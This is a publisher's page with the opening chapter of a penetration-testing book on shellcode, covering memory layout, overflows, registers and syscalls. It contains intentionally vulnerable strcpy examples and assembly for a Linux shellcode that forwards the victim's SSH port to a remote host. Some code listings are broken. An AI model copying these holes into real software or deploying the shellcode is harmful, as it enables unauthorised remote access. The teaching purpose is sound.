Penetration Testing with Shellcode

4.8 (4 reviews total)
By Hamza Megahed
    Advance your knowledge in tech with a Packt subscription

  • Instant online access to over 7,500+ books and videos
  • Constantly updated with 100+ new titles each month
  • Breadth and depth in over 1,000+ technologies
  1. Introduction

About this book

Security has always been a major concern for your application, your system, or your environment. This book's main goal is to build your skills for low-level security exploits, finding vulnerabilities and covering loopholes with Shellcode, assembly, and Metasploit.

This book will teach you topics ranging from memory management and assembly to compiling and extracting Shellcode and using syscalls and dynamically locating functions in memory. This book also covers techniques to compile 64-bit Shellcode for Linux and Windows along with Metasploit Shellcode tools. Lastly, this book will also show you to how to write your own exploits with intermediate techniques, using real-world scenarios.

By the end of this book, you will have become an expert in Shellcode and will understand how systems are compromised both at the operating system and network level.

Publication date:
February 2018


Chapter 1. Introduction

Welcome to the first chapter of Penetration Testing with Shellcode. The term penetration testing refers to attacking a system without causing any damage to the system. The motive behind the attack is to find the system's flaws or vulnerabilities before attackers also find ways to get inside the system. Hence, to measure how the system resists exposing sensitive data, we try collecting as much data as possible and to perform penetration testing using shellcode, we have to first understand overflow attacks.

Buffer overflow is one of the oldest and the most destructive vulnerabilities that could cause critical damage to an operating system, remotely or locally. Basically, it's a serious problem because certain functions don't know whether the input data can fit inside the preallocated space or not. So, if we add more data than the allocated space can hold, then this will cause overflow. With shellcode in the picture, we can change the execution flow of the same application. The main core of that damage is the payload generated by shellcode. With the spread of all kinds of software, even with a strong support like Microsoft, it could leave you vulnerable to such attacks. Shellcode is exactly what we want to be executed after we control the flow of execution, which we will talk about later in detail.

The topics covered in this chapter are as follows:

  • What is a stack?
  • What is a buffer?
  • What is stack overflow?
  • What is a heap?
  • What is heap corruption?
  • What is shellcode?
  • Introduction to computer architecture
  • What is a system call?

Let's get started!


What is a stack?

A stack is an allocated space in the memory for each running application, used to hold all the variables inside it. The operating system is responsible for creating a memory layout for each running application, and within each memory layout, there is a stack. A stack is also used to save the return address so that the code can go back to the calling function.

A stack uses Last Input First Output (LIFO) to store elements in it, and there is a stack pointer (we will talk about it later), which points to the top of the stack and also uses push to store an element at the top of stack and pop to extract the element from the top of the stack.

Let's look at the following example to understand this:

#include <stdio.h>
void function1()
    int y = 1;
    printf("This is function1\n");
void function2()
    int z = 2;
    printf("This is function2\n");
int main (int argc, char **argv[])
    int x = 10;
    printf("This is the main function\n");
printf("After calling function1\n");
    printf("After calling function2");
    return 0;

This is how the preceding code works:

  • The main function will start first, the variable x will be pushed into the stack, and it will print out the sentence This is the main function, as shown here:
  • The main function will call function1 and before moving forward to function1, the address of printf("After calling function1\n") will be saved into the stack in order to continue the execution flow. After finishing function1 by pushing variable y in the stack, it will execute printf("This is function1\n"), as shown here:
  • Then, go back to themainfunction again to execute printf("After calling function1\n"), and push the address of printf("After calling function2") in the stack, as shown:
  • Now control will move forward to execute function2 by pushing the variable z into the stack and then execute printf("This is function2\n"), as shown in the following diagram:
  • Then, go back to the main function to execute printf("After calling function2") and exit.

What is a buffer?

A buffer is a temporary section of the memory used to hold data, such as variables. A buffer is only accessible or readable inside its function until it is declared global; when a function ends, the buffer ends with it; and all programs have to deal with the buffer when there is data storing or retrieving.

Let's look at the following line of code:

char buffer;

What does this section of C code mean? It tells the computer to allocate a temporary space (buffer) with the size of char, which can hold up to 1 byte. You can use the sizeof function to confirm the size of any data type:

#include <stdio.h>
#include <limits.h>
int main()
    printf("The size for char : %d \n", sizeof(char));
    return 0;

Of course, you can use the same code to get the size of other data types such as the int data type.

What is stack overflow?

Stack overflow occurs when you put more data into a buffer than it can hold, which causes the buffer to be filled up and overwrite neighboring places in memory with what's left over of the input. This occurs when the function, which is responsible for copying data, doesn't check if the input can fit inside the buffer or not, such as strcpy. We can use stack overflow to change the execution flow of a code to another code using shellcode.

Here is an example:

#include <stdio.h>
#include <string.h>
// This function will copy the user's input into buffer
void copytobuffer(char* input)
   char buffer[15];
   strcpy (buffer,input);
int main (int argc, char **argv[])
   return 0;

The code works as follows:

  • In the copytobuffer function, it allocates a buffer with the size of 15 characters, but this buffer can only hold 14 characters and a null-terminated string \0, which indicates the end of the array


You don't have to end arrays with a null-terminated string; the compiler will do it for you.

  • Then, there is strcpy, which takes input from the user and copies it into the allocated buffer
  • In the main function, it calls copytobuffer and passes the argv argument to copytobuffer

What really happens when the main function calls the copytobuffer function?

Here are the answers to this question:

  • The return address of the main function will be pushed in memory
  • The old base pointer (explained in the next section) will be saved in memory
  • A section of memory will be allocated as the buffer with a size of 15 bytes or 15*8 bits:

Now, we agreed that this buffer will take only 14 characters but the real problem is inside the strcpy function, because it doesn't check for the size of the input, it just copies the input into the allocated buffer.

Let's try now to compile and run this code with 14 characters:

Let's take a look at the stack:

As you can see, the program exited without error. Now, let's try it again but with 15 characters:

And now let's take another look at the stack:

This is a stack overflow, and a segmentation fault is an indication that there is a violation in memory; what happened is the user's input overflowed the allocated buffer, thus filling the old base pointer and return address.


A segmentation fault means a violation in the user space memory, and kernel panic means a violation in kernel-space.

What is a heap?

A heap is a portion of memory that is dynamically allocated by the application at runtime. A heap can be allocated using the malloc or calloc function in C. A heap is different from a stack as a heap remains until:

  • The program exits
  • It will be deleted using thefreefunction

A heap is different from a stack because in a heap, a very large space can be allocated, and there is no limit on the allocated spaces such as in a stack, where there is a limited space depending on the operating system. You can also resize a heap using the realloc function, but you can't resize the buffer. When using the heap, you must deallocate the heap after finishing by using the free function, but not in the stack; also, the stack is faster than the heap.

Let's look at the following line of code:

 char* heap=malloc(15);

What does this section of C code mean?

It tells the computer to allocate a section in heap memory with a size of 15 bytes and it should also hold 14 characters plus a null-terminated string \0.

What is heap corruption?

Heap corruption occurs when data copied or pushed into a heap is larger than the allocated space. Let's look at a full heap example:

#include <string.h>
#include <stdlib.h>
void main(int argc, char** argv)
  // Start allocating the heap
    char* heap=malloc(15);
  // Copy the user's input into heap
    strcpy(heap, argv[1]);
  // Free the heap section

In the first line of code, it allocates a heap with a size of 15 bytes using the malloc function; in the second line of code, it copies the user's input into the heap using the strcpy function; in the third line of code, it sets the heap free using the free function, back to the system.

Let's compile and run it:

Now, let's try to crash it using a larger input:

This crash is a heap corruption, which forced the program to terminate.

Memory layout

This is the complete memory layout for a program that contains:

  • The .text section which is used to hold the program code
  • The .data section which is used to hold initialized data
  • The .BSS section which is used to hold uninitialized data
  • The heap section which is used to hold dynamically allocated variables
  • The stack section which is used to hold non-dynamically allocated variables such as buffers:


Look at how the heap and stack are growing; the stack grows from high memory to low memory, whereas the heap grows from low memory to high memory.

What is shellcode?

Shellcode is like a payload that is used in overflow exploitation written in machine language. Hence, the shellcode is used to override the flow of execution after exploiting a vulnerable process, such as making the victim's machine connect back to you to spawn a shell.

The next example is a shellcode for Linux x86 SSH Remote port forwarding which executes thessh -R 9999:localhost:22 command:


And this is the assembly language of that shellcode:

xor    %eax,%eax
push   %eax
pushl  $0x3632322e
pushl  $0x30302e38
pushl  $0x36312e32
pushw  $0x3931
movl   %esp,%esi
push   %eax
push   $0x32323a74
push   $0x736f686c
push   $0x61636f6c
push   $0x3a393939
pushw  $0x3930
movl   %esp,%ebp
push   %eax
pushw  $0x522d
movl   %esp,%edi
push   %eax
push   $0x6873732f
push   $0x6e69622f
push   $0x7273752f
movl   %esp,%ebx
push   %eax
push   %esi
push   %ebp
push   %edi
push   %ebx
movl   %esp,%ecx
mov    $0xb,%al
int    $0x80

Computer architecture

Let's walk through some concepts in computer architecture (Intel x64). The major components of a computer are shown in the following diagram:

Let's dive a little more inside the CPU. There are three parts to the CPU:

  • Arithmetic logic unit (ALU): This part is responsible for performing arithmetic operations, such as addition and subtraction and logic operations, such as ADD and XOR
  • Registers: This is what we really care about in this book, they are a superfast memory for the CPU that we will discuss in the next section
  • Control unit (CU): This part is responsible for communications between the ALU and the registers, and between the CPU itself and other devices


As we said earlier, registers are like a superfast memory for the CPU to store or retrieve data in processing, and they are divided into the following sections.

General purpose registers

There are 16 general purpose registers in the Intel x64 processor:

  • The accumulator register (RAX) is used in arithmetic operations—RAX holds 64 bits,EAX holds 32 bits,AX holds 16 bits,AH holds 8 bits, andAL holds 8 bits:
  • The base register (RBX) is used as a pointer to data—RBXholds 64 bits,EBXholds 32 bits,BXholds 16 bits,BHholds 8 bits, andBLholds 8 bits:
  • The counter register (RCX) is used in loops and shift operations—RCX holds 64 bits,ECX holds 32 bits,CX holds 16 bits,CH holds 8 bits, andCL holds 8 bits:
  • The data register (RDX) is used as a data holder and in arithmetic operations—RDX holds 64 bits,EDX holds 32 bits,DX holds 16 bits,DH holds 8 bits, andDL holds 8 bits:
  • The source index register (RSI) is used as a pointer to a source—RSI holds 64 bits,ESI holds 32 bits, DIholds 16 bits, and SIL holds 8 bits:
  • The destination index register (RDI) is used as a pointer to a destination—RDI holds 64 bits,EDI holds 32 bits,DIholds 16 bits, andDIL hold 8 bits:


RSI and RDI are both used in stream operations and string manipulation.

  • The stack pointer register (RSP) is used as a pointer to the top of the stack—RSP holds 64 bits,ESP holds 32 bits,SP holds 16 bits, andSPL holds 8 bits:
  • The base pointer register (RBP) is used as a pointer to the base of the stack—RBP holds 64 bits,EBP holds 32 bits,BP holds 16 bits, andBPL holds 8 bits:
  • The registers R8, R9, R10, R11, R12, R13, R14, and R15 have no specific operations, but they do not have the same architecture as the previous registers, such as high (H) value or low (L) value. However, they can be used asDfordouble-word,Wforword, or Bforbyte. Let's look atR8for example:

Here, R8 holds 64 bits,R8D holds 32 bits, R8W holds 16 bits, andR8B holds 8 bits.


R8 through R15 only exist in Intel x64 but not in x84.

Instruction pointer

The instruction pointer register orRIP is used to hold the next instruction.

Let's look at the following example first:

#include <stdio.h>
void printsomething()
    printf("Print something\n");
int main ()

    printf("This is after print something function\n");
    return 0;

The first thing that will be executed is the main function, then it will call the printsomething function. But before it calls the printsomething function, the program needs to know exactly what the next operation is after executing the printsomething function. So before calling printsomething, the next instruction that is printf("This is after print something function\n") will have its location pushed into the RIP and so on:

Here, RIP holds 64 bits, EIP holds 32 bit, and IP holds 16 bits.

The following table sums up all the general-purpose registers:

64-bit register

32-bit register

16-bit register

8-bit register

































































Flags registers

These are registers that the computer uses to control the execution flow. For example, the JMP operation in assembly will be executed based on the value of flag registers such as the jump if zero (JZ) operation, meaning that the execution flow will be changed to another flow if the zero flag contains 1. We are going to talk about the most common flags:

  • The carry flag (CF) is set in arithmetic operations if there is a carry in addition or borrow in subtraction
  • The parity flag (PF) is set if the number of set bits is even
  • The adjust flag (AF) is set in arithmetic operations if there is a carry of binary code decimal
  • The zero flag (ZF) is set if the result is zero
  • The sign flag (SF) is set if the most significant bit is one (the number is negative)
  • The overflow flag (OF) is set in arithmetic operations if the result of the operation is too large to fit in a register

Segment registers

There are six segment registers:

  • The code segment (CS) points to the starting address of the code segment in the stack
  • The stack segment (SS) points to the starting address of the stack
  • The data segment (DS) points to the starting address of the data segmentinthestack
  • The extra segment (ES) points to extra data
  • The F segment (FS) points toextra data
  • The G segment (GS) points to extra data


The F in FS means F after E in ES; and, the G in GS means G after F.


Endianness describes the sequence of allocating bytes in memory or registers, and there are the following two types:

  • Big-endian means allocating bytes from left to right. Let's see how a word like shell (which in hex 7368656c6c) will be allocated in memory:

It pushed as you can read it from left to right.

  • Little-endian means allocating bytes from right to left. Let's look at the previous example with little-endian:

As you can see, it pushed backward llehs, and the most important thing is Intel processors are little-endian.


System calls

There are two spaces under Linux in memory (RAM): user space and kernel space. Kernel space is responsible for running kernel codes and system processes with full access to memory, whereas user space is responsible for running user processes and applications with restricted access to memory, and this separation is to protect the kernel space.

When a user wants to execute a code (in user space), then user space sends requests to the kernel space using system calls, also known as syscalls through libraries such as glibc, and then kernel space executes it on behalf of the user space using the fork-exec technique.

What are syscalls?

Syscalls are like requests that the user space uses to ask the kernel to execute on behalf of the user space. For example, if a code wants to open a file then user space sends the open syscall to the kernel to open the file on behalf of the user space, or when a C code contains the printf function, then the user space sends the write system call to the kernel:


The fork-exec technique is how Linux runs processes or applications by forking (copy) parent's resources located in memory using fork syscall, then running the executable code using exec syscall.

Syscalls are like kernel API or how you are going to talk to the kernel itself to tell it to do something for you.


User space is an isolated environment or a sandbox to protect the kernel space and its resources.

So how can we get the full list of x64 kernel syscalls ? Actually it's easy, all syscalls are located inside this file: /usr/include/x86_64-linux-gnu/asm/unistd_64.h:

cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h

The following screenshot shows the output for the preceding command:

This is just a small portion of my kernel syscalls.



In this chapter, we talked about some definitions in computer science, such as stack, buffer, and heap, and also gave a quick hint about buffer overflow and heap corruption. Then, we moved on to some definitions in computer architecture such as register, which is very important in debugging and understanding how execution is done inside the processor. Finally, we talked briefly about syscalls, which is also important in assembly language on Linux (we will see that in the next part), and how the kernel executes codes on Linux. At this point, we are ready to move on to another level, which is building an environment to test overflow attacks, and also creating and injecting shellcodes.

About the Author

  • Hamza Megahed

    Hamza Megahed is a penetration tester, a Linux kernel expert, and a security researcher. He is interested in exploit development and cryptography, with a background in memory management and return-oriented programming. He has written many shellcodes; some of them were published in shell-storm and exploit-db. Also, he has written articles about information security and cryptographic algorithms.

    Browse publications by this author

Latest Reviews

(4 reviews total)
The technical information in this book is a great entry point to learn how to turn a vulnerability into code execution. It covers an overflow vulnerability discovery process, debugging to find space to place code and write the shellcode.
Excellent support and encouragement
Exactement ce que je cherchait

Recommended For You

Penetration Testing with Shellcode
Unlock this book and the full library for $5 a month*
Start now